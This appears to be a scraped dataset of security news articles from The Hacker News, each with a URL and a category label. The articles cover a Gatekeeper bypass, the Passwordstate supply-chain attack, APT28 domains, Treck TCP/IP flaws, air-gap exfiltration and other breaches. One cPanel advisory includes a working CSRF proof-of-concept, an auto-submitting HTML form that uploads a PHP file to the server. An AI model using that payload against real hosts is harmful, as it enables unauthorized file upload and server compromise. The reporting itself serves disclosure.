All Wardle has done is:
Identified an already-signed binary file (Binary A) that runs a separate app (Binary B) located in the same folder
Renamed Binary A
Swapped out the legitimate Binary B with a malicious one
Then bundled malicious file in the same folder under the same file name, Binary B
Now, Binary B needs no digital certificate or Apple developer certificate to run, so it can be used to install anything the attacker wants, completely bypassing Gatekeeper.

Same Attack Works with Plugins

Wardle said, a similar method to bypass Gatekeeper also works with plugins. All an attacker needs to do is:
Find an application that loads plugins
Substitute your malicious software for one of those plugins
Again Gatekeeper will check the first installer app, and won't warn users of the malicious plugins.
Wardle's exploit works on OS X Yosemite, and all versions, including El Capitan, the upcoming release.

Wardle said that he tested his exploit on the most recent beta version of El Capitan – released recently to developers – and he was still able to bypass Gatekeeper.

The researcher privately alerted Apple of the Gatekeeper vulnerability more than 60 days ago, and the company is working on a patch that will be delivered to users as soon as possible.
""If I can find it, you have to assume groups of hackers or more sophisticated nation states have found similar weaknesses,"" Wardle told Ars. ""I am sure there are other Apple-signed apps out there"" that can also be abused to bypass Gatekeeper.""
Wardle will present his findings on Thursday at the Virus Bulletin Conference in Prague, Czech Republic.

",Vulnerability
Passwordstate Warns of Ongoing Phishing Attacks Following Data Breach,https://thehackernews.com/2021/04/passwordstate-warns-of-ongoing-phishing.html,"Click Studios, the Australian software firm which confirmed a supply chain attack affecting its Passwordstate password management application, has warned customers of an ongoing phishing attack by an unknown threat actor.
""We have been advised a bad actor has commenced a phishing attack with a small number of customers having received emails requesting urgent action,"" the company said in an updated advisory released on Wednesday. ""These emails are not sent by Click Studios.""
Last week, Click Studios said attackers had employed sophisticated techniques to compromise Passwordstate's update mechanism, using it to drop malware on user computers. Only customers who performed In-Place Upgrades between April 20, 8:33 PM UTC, and April 22, 0:30 AM UTC are said to be affected.
While Passwordstate serves about 29,000 customers, the Adelaide-based firm maintained that the total number of impacted customers is very low. It's also urging users to refrain from posting correspondence from the company on social media, stating the actor behind the breach is actively monitoring such platforms for information pertaining to the attack in order to exploit it to their advantage for carrying out related intrusions.
The original attack was carried out via a trojanized Passwordstate update file containing a modified DLL (""moserware.secretsplitter.dll"") that, in turn, extracted retrieved a second-stage payload from a remote server so as to extract sensitive information from compromised systems. As a countermeasure, Click Studios released a hotfix package named ""Moserware.zip'' to help customers remove the tampered DLL and advised affected users to reset all passwords stored in the password manager.
The newly spotted phishing attack involves crafting seemingly legitimate email messages that ""replicate Click Studios email content"" — based on the emails that were shared by customers on social media — to push a new variant of the malware.
""The phishing attack is requesting customers to download a modified hotfix Moserware.zip file, from a CDN Network not controlled by Click Studios, that now appears to have been taken down,"" the company said. ""Initial analysis indicates this has a newly modified version of the malformed Moserware.SecretSplitter.dll, that on loading then attempts to use an alternate site to obtain the payload file.""
The Passwordstate hack is the latest high-profile supply-chain attack to come to light in recent months, highlighting how sophisticated threat groups are targeting software built by third parties as a stepping-stone to break into sensitive government and corporate computer networks.

",Malware
PayPal denies to pay Bug Bounty reward to teenager,https://thehackernews.com/2013/05/paypal-denies-to-pay-bug-bounty-reward.html,"When coders and online security researchers find errors in websites or software, the companies behind the programs will often pay out a bounty to the person who discovered the issue. The programs are intended to create an incentive for researchers to privately report issues and allow vendors to release fixes before hackers take advantage of flaws.

A 17-year-old German student says he found a security flaw in PayPal's website but was denied a reward because he's too young. On PayPal's website, the company lists the terms for rewarding people who find bugs, but mentions nothing about the age of the discoverer.

The details of the vulnerability, i.e cross-site scripting flaw (XSS), is posted on Full Disclosure section.

In Past we have seen that many times PayPal tried to cheat with new security researchers by replying various reasons on reporting bugs i.e ""already reported by someone else"", ""domain / sub-domain is not under bounty program"", ""we run out off bounty program budget this year"" and this time ""because the teen is not yet 18 years old.""

Robert Kugler is a German student who has found bugs for companies like Microsoft and Mozilla in the past. His work on uncovering problems in Mozilla's Firefox browser has earned him about $4,500 over the past two years.

At last, he demanded from PayPal to acknowledge his finding and send him some documentation so that he can use it in a job application, but so far, he hasn't received anything.

",Vulnerability
Universal Man in the Browser Attacks,https://thehackernews.com/2012/10/universal-man-in-browser-attack-targets.html,"Researchers have discovered a new type of Man-in-the-Browser (MItB) attack that is Website independent, and does not target specific Websites, but instead collects data submitted to all sites.

Trusteer have discovered a new Man in the Browser (MitB) scam that can collects data submitted to all websites without the need for post-processing.

According to Trusteer's CTO Amit Klein: ""In comparison, uMitB does not target a specific web site. Instead, it collects data entered in the browser at all websites and uses ""generic"" real time logic on the form submissions to perform the equivalent of post-processing. This attack can target victims of new infections as well as machines that were previously infected by updating the existing malware with a new configuration. The data stolen by uMitB malware is stored in a portal where it is organized and sold.""

In a YouTube video, the company demonstrated how the attack could happen. The video showed how a user could enter personal and financial information in a Web form on multiple Websites. After submitting the forms, the video showed a screenshot of the console used by the cyber-attacker. The console displayed the credit card data harvested from those sites, in what appears to be real-time data extraction.

For example, it could be used to automate card fraud by integrating with and feeding freshly stolen information to card selling web sites. The impact of uMitB could be significant since information stolen in real-time is typically much more valuable than ""stale"" information, plus it eliminates the complexities associated with current post-processing approaches.

",Vulnerability
New Critical Flaws in Treck TCP/IP Stack Affect Millions of IoT Devices,https://thehackernews.com/2020/12/new-critical-flaws-in-treck-tcpip-stack.html,"The US Cybersecurity Infrastructure and Security Agency (CISA) has warned of critical vulnerabilities in a low-level TCP/IP software library developed by Treck that, if weaponized, could allow remote attackers to run arbitrary commands and mount denial-of-service (DoS) attacks.
The four flaws affect Treck TCP/IP stack version 6.0.1.67 and earlier and were reported to the company by Intel. Two of these are rated critical in severity.
Treck's embedded TCP/IP stack is deployed worldwide in manufacturing, information technology, healthcare, and transportation systems.
The most severe of them is a heap-based buffer overflow vulnerability (CVE-2020-25066) in the Treck HTTP Server component that could permit an adversary to crash or reset the target device and even execute remote code. It has a CVSS score of 9.8 out of a maximum of 10.
The second flaw is an out-of-bounds write in the IPv6 component (CVE-2020-27337, CVSS score 9.1) that could be exploited by an unauthenticated user to cause a DoS condition via network access.
Two other vulnerabilities concern an out-of-bounds read in the IPv6 component (CVE-2020-27338, CVSS score 5.9) that could be leveraged by an unauthenticated attacker to cause DoS and an improper input validation in the same module (CVE-2020-27336, CVSS score 3.7) that could result in an out-of-bounds read of up to three bytes via network access.
Treck recommends users to update the stack to version 6.0.1.68 to address the flaws. In cases where the latest patches cannot be applied, it's advised that firewall rules are implemented to filter out packets that contain a negative content-length in the HTTP header.
The disclosure of new flaws in Treck TCP/IP stack comes six months after Israeli cybersecurity company JSOF uncovered 19 vulnerabilities in the software library — dubbed Ripple20 — that could make it possible for attackers to gain complete control over targeted IoT devices without requiring any user interaction.
What's more, earlier this month, Forescout researchers revealed 33 vulnerabilities — collectively called AMNESIA:33 — impacting open-source TCP/IP protocol stacks that could be abused by a bad actor to take over a vulnerable system.
Given the complex IoT supply chain involved, the company has released a new detection tool called ""project-memoria-detector"" to identify whether a target network device runs a vulnerable TCP/IP stack in a lab setting.
You can access the tool via GitHub here.

",Vulnerability
Security Alert : cPanel 11.25 CSRF vulnerability to upload any php Script !,https://thehackernews.com/2011/05/security-alert-cpanel-1125-csrf.html,"Security Alert : cPanel 11.25 CSRF vulnerability to upload any php Script !


cPanel versions below and excluding 11.25 , are vulnerable to CSRF which leads to uploading a PHP script of the attackers liking. If you have turned off security tokens and referrer security check, no matter what version you are using, you are vulnerable as well.

Proof Of Concept :


<html>
<form name=""editform"" action=""
https://localhost:2082/frontend/x3/err/savefile.html"" method=POST
onSubmit=""return loadfdata();"">
<input type=""hidden"" id=""codepage"" class=""codepress html"" name=""page""
value=""<?php echo 'ninjashell'; ?>"">
<input type=""hidden"" name=""domain"" value=""localhost"">
<input type=""hidden"" value=""public_html/"" name=""dir"">
<input type=""hidden"" value=""ninjashell.php"" name=""file"">
<body onload=""document.forms.editform.submit();"">
</form>
</html>


Afterwards simply check for ninjashell.php in the directory.

Counter-measures
All cPanel versions starting from 11.25 and above have two in-built security features to prevent such attacks - security tokens and referrer security check. This means that if you are a cpanel client, you should update your
software.

The Vulnerability has been found & Submitted to us by Ninja-Shell , An Ethical hacker, Freelance security consultant/penetration tester & Security researcher in the spare time. He has Over 12 years of experience. You can Contact him at ninjashellmail@gmail.com .

",Vulnerability
Hackers Accidentally Expose Passwords Stolen From Businesses On the Internet,https://thehackernews.com/2021/01/hackers-accidentally-expose-passwords.html,"A new large-scale phishing campaign targeting global organizations has been found to bypass Microsoft Office 365 Advanced Threat Protection (ATP) and steal credentials belonging to over a thousand corporate employees.
The cyber offensive is said to have originated in August last year, with the attacks aimed specifically at energy and construction companies, said researchers from Check Point Research today in a joint analysis in partnership with industrial cybersecurity firm Otorio.
Although phishing campaigns engineered for credential theft are among the most prevalent reasons for data breaches, what makes this operation stand out is an operational security failure that led to the attackers unintentionally exposing the credentials they had stolen to the public Internet.
""With a simple Google search, anyone could have found the password to one of the compromised, stolen email addresses: a gift to every opportunistic attacker,"" the researchers said.
The attack chain commenced with phishing lures that purported to be Xerox (or Xeros) scan notifications containing an HTML file attachment, that when opened, urged recipients to enter their Office 365 passwords on a fake lookalike login page, which were then extracted and sent to a remote server in a text file.
The researchers noted the JavaScript code for exfiltrating the credentials was continuously polished and refined to the point of evading most antivirus vendors and creating a ""realistic"" user experience so as to trick victims into providing their login information.
To that end, the campaign banked on a mix of specialized infrastructure as well as compromised WordPress servers that were used as a ""drop-zone"" by the attackers to store the credentials, thereby leveraging the reputation of these existing websites to get around security software.
That the stolen credentials were stored on specific text files within these servers also means that search engines like Google can index those pages and make them accessible to any bad actor looking for compromised passwords with just an easy search.
What's more, by analyzing the different email headers used in this campaign, the researchers came to the conclusion that the emails were sent from a Linux server hosted on the Microsoft Azure platform using PHP Mailer 6.1.5 and delivered via 1&1 Ionos email servers.
""It is highly likely that the compromised IONOS account credentials were used by the attackers to send the rest of the Office 365 themed spam,"" the researchers noted.
To mitigate such threats, it's advised that users watch out for emails from unknown senders, lookalike domains, and spelling errors in emails or websites; refrain from clicking on suspicious links in emails; and follow password hygiene to secure accounts.
""We tend to believe that when someone steals our passwords, the worst case scenario is that the information will be used by hackers who exchange them through the dark net,"" Lotem Finkelsteen, head of threat intelligence at Check Point, said. ""Not in this case. Here, the entire public had access to the information stolen.""
""The strategy of the attackers was to store stolen information on a specific webpage that they created. That way, after the phishing campaigns ran for a certain time, the attackers can scan the compromised servers for the respective webpages, collecting credentials to steal. The attackers didn't think that if they are able to scan the Internet for those pages — Google can too. This was a clear operation security failure for the attackers.""

",Cyber_Attack
Microsoft Detects More Russian Cyber Attacks Ahead of Mid-Term Election,https://thehackernews.com/2018/08/russia-election-hacking.html,"Microsoft claims to have uncovered another new Russian hacking attempts targeting United States' Senate and conservative think tanks ahead of the 2018 midterm elections.

The tech giant said Tuesday that the APT28 hacking group—also known as Strontium, Fancy Bear, Sofacy, Sednit, and Pawn Storm, which is believed to be tied to the Russian government—created at least six fake websites related to US Senate and conservative organizations to trick its visitors and hack into their computers.

Three fake web domains were intended to look as if they belonged to the U.S. Senate, while one non-political website spoofed Microsoft's own online products.

The two other phony websites were designed to mimic two U.S. conservative organizations:

The Hudson Institute — a conservative Washington think tank hosting extended discussions on topics including cybersecurity, among other important activities.
The International Republican Institute (IRI) — a nonprofit group that promotes democracy worldwide and whose board includes prominent Republican figures like Sen. John McCain, R-Ariz., and former Republican National Committee Chairman Frank Fahrenkopf.

Although there is no sign of hackers successful in getting any visitor to click on the fake websites, Microsoft said the fake sites were created over the past several months and registered with major web-hosting companies.
Microsoft did not go into more details, saying ""To be clear, we currently have no evidence these domains were used in any successful attacks before the DCU transferred control of them, nor do we have evidence to indicate the identity of the ultimate targets of any planned attack involving these domains.""

Microsoft's Digital Crimes Unit disabled the fake websites, after obtaining court approval last year, which was executed just last week, effectively allowing the company to seize the fake domains created by APT28 before they were ""used in any successful attacks.""

The tech giant has so far used the courts a dozen times since 2016 to shut down 84 fake websites created by APT28.

While speaking at the Aspen Security Forum last month, Microsoft VP Tom Burt said the company also took down a fake domain registered by APT28, after discovering that it was established for phishing attacks against at least three congressional candidates.

Active since at least 2007, the notorious hacking group has publicly been linked to the GRU (General Staff Main Intelligence Directorate), Russian secret military intelligence agency, and also been accused of a series of hacks in recent years, including the 2016 presidential election hack.

In a memorandum filed early in the case, Microsoft said APT28 sought to ""establish a command and control infrastructure by which means Defendants conduct illegal activities, including attacks on computers and networks, monitoring of the activities of users, and the theft of information.""

The revelation by Microsoft comes almost a month after US special counsel and former FBI director Robert Mueller filed charges against 12 Russian intelligence officers tied to the cyber attacks on the Democratic National Committee (DNC) during the 2016 election campaign.

",Cyber_Attack
Apple App Store was vulnerable for more than Half year,https://thehackernews.com/2013/03/apple-app-store-was-vulnerable-for-more.html,"A Google developer helps Apple to fixed a security flaw in its application store that for years has allowed attackers to steal passwords and install unwanted or extremely expensive applications.


Security loophole allowed attacker to hijack the connection, because Apple neglected to use encryption when an iPhone or other mobile device tries to connect to the App Store.
Researcher Elie Bursztein revealed on his blog that he had alerted Apple of numerous security issues last July but that Apple had only turned on HTTPS for the App Store last week.

An attacker only needs to be on the same network as the person who is using the App Store. From there, they can intercept the communications between the device and the App Store and insert their own commands.

The malicious user could take advantage of the unsecure connection to carry out a number of different attacks i.e steal a password, force someone to purchase an app by swapping it with a different app that the buyer actually intended to get or by showing fake app updates, prevent a person from installing an app by making it disappear from the App Store or force the App Store to show the entire list of apps installed on a device.

Bursztein has posted some videos that show the App Store holes in action, a couple of which can be found below:

He said that he alerted Apple to his findings back in early July of 2012, and Apple only turned on HTTPS encryption at the end of January and even the App Store existed for years without having HTTPS encryption.

",Vulnerability
Hacker Wanted in the U.S. for Spreading Gozi Virus Arrested in Colombia,https://thehackernews.com/2021/06/hackers-wanted-in-us-for-spreading-gozi.html,"Colombian authorities on Wednesday said they have arrested a Romanian hacker who is wanted in the U.S. for distributing a virus that infected more than a million computers from 2007 to 2012.
Mihai Ionut Paunescu (aka ""Virus""), the individual in question, was detained at the El Dorado airport in Bogotá, the Office of the Attorney General of Colombia said.
Paunescu was previously charged by the U.S. Department of Justice (DoJ) in January 2013 for operating a bulletproof hosting service that ""enabled cyber criminals to distribute the Gozi Virus, the Zeus Trojan and other notorious malware, and conduct other sophisticated cyber crimes."" He was arrested in Romania in December 2012 but managed to avoid extradition to the U.S.
""Through this service, Paunescu, like other bulletproof hosts, knowingly provided critical online infrastructure to cyber criminals that allowed them to commit online criminal activity with little fear of detection by law enforcement,"" the DoJ said in an unsealed indictment.
Gozi (aka ISFB, Snifula, or Ursnif), a Windows-based banking trojan, had its roots dating as far back as 2005 prior to its deployment in real-world attacks in 2007. At least 40,000 computers in the U.S., including those belonging to the National Aeronautics and Space Administration (NASA), are said to have been infected with the virus.
Germany, Great Britain, Poland, France, Finland, Italy, and Turkey are the other countries where Gozi infections were reported.
In May 2016, Gozi's primary developer, a Russian citizen named Nikita Kuzmin, was sentenced to 37 months in prison and fined $7 million over charges of computer intrusion and fraud, and for causing ""tens of millions of dollars in losses"" to individuals, businesses, and government entities. Kuzmin also rented out the malware to other criminal operators in exchange for $500 a week.
Separately, Deniss Calovskis, a Latvian national who developed ""web injects"" so as to enable Gozi to surreptitiously gather information entered by users on banking websites, landed a 21-month prison term in January 2016 for his co-conspiratorial role in the fraudulent scheme.
Despite these law enforcement efforts, Gozi, however, continues to be an ever-evolving malware that has since morphed from a simple banking trojan into a modular malicious content delivery platform, with cybersecurity firm Check Point uncovering ""modern derivatives"" that were actively deployed in several cyber attacks as of August 2020.

",Malware
Hacker Can Steal Data from Air-Gapped Computers Using IR CCTV Cameras,https://thehackernews.com/2017/09/airgap-network-malware-hacking.html,"Air-gapped computers that are isolated from the Internet and physically separated from local networks are believed to be the most secure computers which are difficult to infiltrate.

However, these networks have been a regular target in recent years for researchers, who have been trying to demonstrate every possible attack scenarios that could compromise the security of such isolated networks.

Security researchers from Ben-Gurion University in Israel have previously demonstrated several ways to extract sensitive information from air-gapped computers.

Now, the same University researchers have discovered another way to steal confidential information from air-gapped computers – this time with the help of infrared-equipped CCTV cameras that are used for night vision.

Researchers have developed a new attack scenario, dubbed aIR-Jumper, which includes an infected air-gapped computer (from which data needs to be stolen) and an infected CCTV network (that has at least one CCTV installed inside the premises facing the infected computer and one outside the premises), assuming that both networks are isolated from each other, and none of them is Internet-connected.

Ignoring the fact that how an air-gapped computer and CCTV network got infected with malware in the first place, the new research focused on, once infected, how the malware would be able to transfer the stolen data back to the attackers (waiting outside the premises).

To read and send data, the aIR-Jumper malware installed on air-gapped computer and CCTV network blink IR LEDs in morse-code-like patterns to transmit files into the binary data, i.e. 0 and 1.
The data from a video camera can be transmitted at 20 bits per second to an attacker at a distance of tens of meters away and from an attacker to a video camera at 100 bits per second, even in total darkness.

Since the attack is meant to steal files in binary data, attackers wouldn't be able to steal any large files but could get their hands on passwords, cryptographic keys, PIN codes and other small bits of sensitive data stored on the targeted computer.
""In an infiltration scenario, an attacker standing in a public area (e.g., in the street) uses IR LEDs to transmit hidden signals to the surveillance camera(s),"" the researchers say. ""Binary data such as command and control (C&C) and beacon messages are encoded on top of the IR signals.""
The researchers also published two videos demonstration, showing two attack scenarios.

In the first video, the researchers demonstrated how the malware installed on the air-gap computer collected data, converted it into binary and then blinked LED accordingly. At the same time, the infected camera captured this pattern and the malware installed on the camera converted the morse-code back into the binary data.
In the second video, another internally-connected camera installed outside the premises (in the parking area) transmitted the stolen binary data to the attackers sitting in the car using IR LED in morse-code-like patterns.
Attackers can simply capture the blink of the CCTV using their own camera and can decrypt the data later.

Here the infected CCTV camera is working as a bridge between the air-gapped computer and the remote attackers, offering a bi-directional covert channel.

It's not the first time Ben-Gurion researchers came up with the technique to target air-gapped computers. Their previous research of hacking air-gap computers include:


USBee attack that can be used steal data from air-gapped computers using radio frequency transmissions from USB connectors.
DiskFiltration attack that can steal data using sound signals emitted from the hard disk drive (HDD) of the targeted air-gapped computer;
BitWhisper that relies on heat exchange between two computer systems to stealthily siphon passwords or security keys;
AirHopper that turns a computer's video card into an FM transmitter to capture keystrokes;
Fansmitter technique that uses noise emitted by a computer fan to transmit data; and
GSMem attack that relies on cellular frequencies.


For more details on the latest aIR-Jumper attack, you can head onto the paper [PDF] titled, 'aIR-Jumper: Covert Air-Gap Exfiltration/Infiltration via Security Cameras & Infrared (IR).'

",Malware
6 Tips to Save Time Doing Patch Management,https://thehackernews.com/2014/01/7-tips-to-save-time-doing-patch.html,"If you spend more than a few hours a month doing patching; if you stay up until the middle of the night one Saturday each month doing patching; if you just flip on automatic updates and hope for the best; or if you email your users instructions on how to update their machines – then you're doing it wrong.

Patching shouldn't be something that takes multiple days, nor is it something that should ruin one weekend a month. But it is critical and needs to be done right. If you think you're spending way too much time on patching, and have actually considered skipping a month because things didn't sound ""that bad,"" then here's a post just for you. In it, we'll look at seven tips to save you time (and money) taking care of patch management.
1. Have a plan: First of all, you have to have a plan. Management has to support it, and you need to make sure it covers all the systems on your network. You don't want to patch at random, or try to remember every system that you have. Create a plan that includes getting the updates, testing the updates, deploying the updates, and confirming that everything is covered.

2. Set aside a maintenance window: Whether you patch at 2am on Saturday, or Friday at 9am, you need a maintenance window that others cannot supersede. I prefer to patch during the day. Everyone is already awake and onsite, vendor supports' top tier personnel are available should the worst happen, redundancy in your systems should allow you to take down a node at a time, and there's no reason why IT has to work a zombie shift every month. Nobody else does!

3. Test ""in production"": No, I don't mean that you should just patch every system without testing and hope for the best, but I do mean that you should have a subset of servers and workstations that people actually use, and patch them before the rest of the network. That way, patches are actually being used for more than a few minutes. If there is something that causes issues, you are either going to find it in the first 30 seconds, or not for hours. Running a handful of production machines with a new patch helps make sure you're good to go.

4. But be able to roll back: When you do patch, you want to make sure you can roll back. Testing a handful of machines should help you avoid a case where you have to touch everything twice, but you do want to be able to roll back a patch even after you've done all your testing, because sometimes things take a while to show up

If there's one thing you can do to save more time than anything else regarding patching, it's getting patch management software for your network. Seriously, the time it will save you every month will pay for the cost of the patch management software in less than a year. How's that for ROI? Patch management software can help you develop and execute your plan, test your patches, roll them back when needed, and two more things on top of that to save you time.

5. Cover third party software too: Patch management software has something that Windows Updates will never have… the ability to patch non-Microsoft software. Everybody has software from third parties like Adobe, Mozilla, Sun, and Apple, and all of those need patching as often as or more so than operating systems and office suites. Patch management software has you covered, patching popular third party applications so you don't have to invent login scripts and hope for the best.

6. Use reporting: Trust, but verify is the mantra of patch management. Trust that the patch deployed to all your systems, but then go verify it. You can either log on to each machine one at a time, spend hours coming up with a WMI query to check, or you can use the reporting built right into your patch management software to see the status of every system. Better still, you can provide those reports to your boss to show her what a great job you're doing patching.

Seven tips that can save you hours each month, let you take back your weekends, and actually put you in a far more secure position than you were before. If that's not a great thing, I don't know what is! Remember, patch management is critical, but that doesn't mean it has to be painful.

Use a thorough approach to patching, make sure you cover the third party software, and use patch management software to automate and report on as much as you possibly can.

This blog post was written by Peter Williams on behalf of GFI Software. Learn more on how you can benefit from good patch management software.

",Vulnerability
Town of Salem Data Breach Exposes 7.6 Million Gamers' Accounts,https://thehackernews.com/2019/01/town-of-salem-data-breach.html,"A massive data breach at the popular online role-playing game 'Town of Salem' has reportedly impacted more than 7.6 million players, the game owner BlankMediaGames (BMG) confirmed Wednesday on its online forum.

With the user base of more than 8 million players, Town of Salem is a browser-based game that enables gamers (which range from 7 to 15 users) to play a version of the famous secret role game Town, Mafia, or Neutrals.

The data breach was first discovered and disclosed on December 28 when a copy of the compromised Town of Salem database was anonymously sent to DeHashed, a hacked database search engine.

Over 7.6 Million Users Accounts Compromised

The database included evidence of the server compromise and access to the complete gamer database which contained 7,633,234 unique email addresses (most-represented of the email providers being Gmail, Hotmail, and Yahoo.com).

After analyzing the complete database, DeHashed disclosed that the compromised data contained the following information on Town of Salem players:

Email addresses
Usernames
Hashed passwords (in phpass, MD5(WordPress), and MD5(phpBB3) formats)
IP addresses
Game and forum activity
Some payment information (including full names, billing and shipping addresses, IP information and payment amount).

DeHashed also stated that ""some of the users who paid for certain premium features having their billing information/data breached as well,"" though BlankMediaGames confirmed that no credit-card numbers were exposed in the breach.
""We do not handle money. At all. The third party payment processors are the ones that handle all of that,"" a company's spokesperson said on the official Town of Salem game forum on January 2 while confirming the breach.
""We never see your credit card, payment information, anything like that. We don't have access to that information.""
Town of Salem developers addressed the security incident Wednesday by removing three separate, malicious PHP files (which render HTML content for viewing in the browser) from their web server that allowed the attacker to have a backdoor into their server.

The company is also in the process of contacting security auditing firms and potentially discussing reinstalling all of its ""servers from scratch just to be 100% sure.""

Account Passwords Stored Using Insecure MD5 Hashing Algorithm

Although the game developers said that each password was stored in their database as a ""salted MD5 hash,"" the game players are highly recommended to change their passwords as soon as possible because the MD5 hash function has long been known to be susceptible to brute force attacks.

The MD5 hashing algorithm is widely considered to be extremely insecure, following the leaking of more than 117 million LinkedIn passwords that had been hashed similarly and brute-forced to get the plain text passwords.

BlankMediaGames is expected to be changing up its password-hashing approach, as the company said: ""We are making plans to replace PHPBB with a more secure forum such as Vanilla, and moving to a more secure hashing algorithm.""

BlankMediaGames says it will soon be sending out mass emails to all Town of Salem users impacted by the data breach but adds that its number one priority currently is to ensure that its ""servers are secure"" and to add support in its code for ""forced password resets.""
",Data_Breaches
Stuxnet 0.5 : Symantec study reveals Stuxnet was dated 2005,https://thehackernews.com/2013/02/stuxnet-05-symantec-study-reveals_27.html,"Today social media are spreading a shocking news, authors of Stuxnet virus that hit Iranian nuclear program in 2010 according a new research proposed by Symantec security company started in 2005 and contrary to successive instance of the malware he was designed to manipulate the nuclear facility's gas valves. The attacker strategy was to destroy the nuclear plant causing an explosion due the sabotage of gas valves, hackers purpose was physical destruction of the targets, due this reason the press and security community labeled Stuxnet as first cyber weapon of the history.


Francis deSouza, Symantec's president of products and services, during an interview with Bloomberg revealed that the version detected was a sort of beta version of the final weapon and that in the period between 2005 and 2009 the authors were testing its capabilities.

""It looks like now the weapon tried a few things before it hit on what would actually work,""' ""It is clear that this has been a sophisticated effort for longer than people thought."" Said deSouza.

Symantec experts have found in the code of earlier version of Stuxnet a version reference 0.5 and crossing this information with date of website domain registration Stuxnet 0.5 concluded that it may have been used as early as 2005 until July 4th, 2009, few days before the version 1.001 was created.
Symantec report revealed the differences of version 0.5 with subsequent ones of Stuxnet, later versions significantly increased their spreading capability exploiting an increased number of vulnerabilities, but has described before the most important change is related to the strategy pursued by the attackers moved their attention from gas valve disruption to centrifuge speed modification.

The discovery is intended to reveal many other interesting backstage, let's think to the link between Flame and Stuxnet, until now security community believed that authors have had access to Flame components but not to whole Flame Platform source code. The discovery of Stuxnet 0.5 demonstrates that its authors had access to the complete Flamer platform source code.

Following the statements proposed on the topic in the report:
""Stuxnet 0.5 is partly based on the Flamer platform whereas 1.x versions were based primarily on the Tilded platform. Over time, the developers appear to have migrated more towards the Tilded platform. The developers actually re-implemented Flamer platform components using the Tilded platform in later versions.

Both the Flamer and Tilded platform code bases are different enough to suggest different developers were involved.""

",Malware
50000 WordPress Sites infected with spam,https://thehackernews.com/2011/09/50000-wordpress-sites-infected-with.html,"50000 WordPress Sites infected with spam

The attack consists of contacting the domain wplinksforwork.com to get a list of links to be displayed on the compromised sites. However, that domain has been down for the last few days and all the sites compromised. These sites supposed to be compromised. Most of the hacked sites had outdated versions of WordPress installed.

Infected sites have following message at Footer :
Warning: file_get_contents(https://wplinksforwork.com/56132.. 47509328/p.php?host=… failed to open stream: php_network_getaddresses: getaddrinfo failed: Name or service not known in ..

",Vulnerability
Here's the NSA Employee Who Kept Top Secret Documents at Home,https://thehackernews.com/2017/12/nghia-hoang-pho-nsa.html,"A former employee—who worked for an elite hacking group operated by the U.S. National Security Agency—pleaded guilty on Friday to illegally taking classified documents home, which were later stolen by Russian hackers.

In a press release published Friday, the US Justice Department announced that Nghia Hoang Pho, a 67-year-old of Ellicott City, Maryland, took documents that contained top-secret national information from the agency between 2010 and 2015.

Pho, who worked as a developer for the Tailored Access Operations (TAO) hacking group at the NSA, reportedly moved the stolen classified documents and tools to his personal Windows computer at home, which was running Kaspersky Lab software.

According to authorities, the Kaspersky Labs' antivirus software was allegedly used, one way or another, by Russian hackers to steal top-secret NSA documents and hacking exploits from Pho's home PC in 2015.
""Beginning in 2010 and continuing through March 2015, Pho removed and retained U.S. government documents and writings that contained national defense information, including information classified as Top Secret and Sensitive Compartmented Information,"" the DoJ said in disclosing Pho's guilty plea.
""This material was in both hard-copy and digital form, and was retained in Pho's residence in Maryland.""
For those unaware, the U.S. Department of Homeland Security (DHS) has even banned Kaspersky Labs' antivirus software from all of its government computers over suspicion of the company's involvement with the Russian intelligence agency and spying fears.

Kaspersky CEO Says He Would Leave If Russia Asked Him To Spy

Though there's no substantial evidence yet available, an article published by US news agency WSJ in October claimed that Kaspersky software helped Russian spies steal highly classified documents and hacking tools belonging to the NSA in 2015 from a staffer's home PC.

However, Kaspersky Labs has denied any direct involvement with the Russian spies in the alleged incident.

Just last month, Kaspersky claimed that its antivirus package running on the Pho's home PC detected the copies of the NSA exploits as malicious software, and uploaded them to its cloud for further analysis by its team of researchers.

According to the company, as soon as its analysts realized that its antivirus had collected more than malicious binaries, the company immediately deleted the copy of the classified documents, and also created a special software tweak, preventing those files from being downloaded again.

Even, when asked if Russian intel agency had ever asked him to help it spy on the West at a media briefing at the Kaspersky's offices in London on Tuesday, CEO Eugene Kaspersky said ""They have never asked us to spy on people. Never.""

Kaspersky further added that ""If the Russian government comes to me and asks me to anything wrong, or my employees, I will move the business out of Russia.""

NSA Hacker Faces A Prison Sentence Of Up To 10 Years

In Pho's plea deal with prosecutors, the NSA hacker admitted that he copied information from NSA computers multiple times between 2010 and 2015 and took it all home with him.

Taking classified documents at home is a clear violation of known security procedures—and in this process, Pho eventually exposed the top secret information to Russian spies.

Pho has pleaded guilty in a United States district court in Baltimore to one count of willful removal and retention of national defense information, with no other charges filed against him and there's no mention of Pho selling or passing off that confidential data.

The retention of national defense information offense carries a possible 10-year prison sentence.

Federal prosecutors said they would seek an eight-year sentence for Mr. Pho. However, his attorney can ask for a more lenient sentence.

Pho remains free while awaiting sentencing on 6th April next year.

",Cyber_Attack
Critical GnuTLS Flaw Leaves SSL Clients Vulnerable to Remote Code Execution,https://thehackernews.com/2014/06/critical-gnutls-flaw-leaves-ssl-clients.html,"GnuTLS, a widely used open source SSL/TLS cryptographic library is vulnerable to a buffer overflow vulnerability that could be exploited to crash TLS clients or potentially execute malicious code on underlying systems.

The GnuTLS library implements secure sockets layer (SSL) and transport layer security (TLS) protocols on computers, servers, and softwares to provide encrypted communications over insecure channels.

The bug (CVE-2014-3466) was independently discovered by Joonas Kuorilehto of security firm Codenomicon, the same security firm who discovered the biggest Internet vulnerability, Heartbleed. Unlike Heartbleed, the GnuTLS library is not as widely deployed as OpenSSL.

The GnuTLS Vulnerability resides in the way GnuTLS parses the session ID from the server response during a TLS handshake. It does not check the length of session ID value in the ServerHello message, which allows a malicious server to send an excessively long value in order to execute buffer overflow. Reported Flaw could be exploited by sending payload code from malicious server to clients as they establish encrypted HTTPS connections.
Heartbleed could be exploited from both sides i.e. Server (the computer connected to) or the Client (i.e. the computer that initiated the connection), whereas the GnuTLS Remote Code Execution vulnerability will only works from the server to a connecting client.

Red Hat has already issues a patch for this vulnerability as ""A flaw was found in the way GnuTLS parsed session ids from Server Hello packets of the TLS/SSL handshake,"" and its Bug Tracker explained: ""A malicious server could use this flaw to send an excessively long session id value and trigger a buffer overflow in a connecting TLS/SSL client using GnuTLS, causing it to crash or, possibly, execute arbitrary code.""

""The flaw is in read_server_hello() / _gnutls_read_server_hello(), where session_id_len is checked to not exceed incoming packet size, but not checked to ensure it does not exceed maximum session id length.""

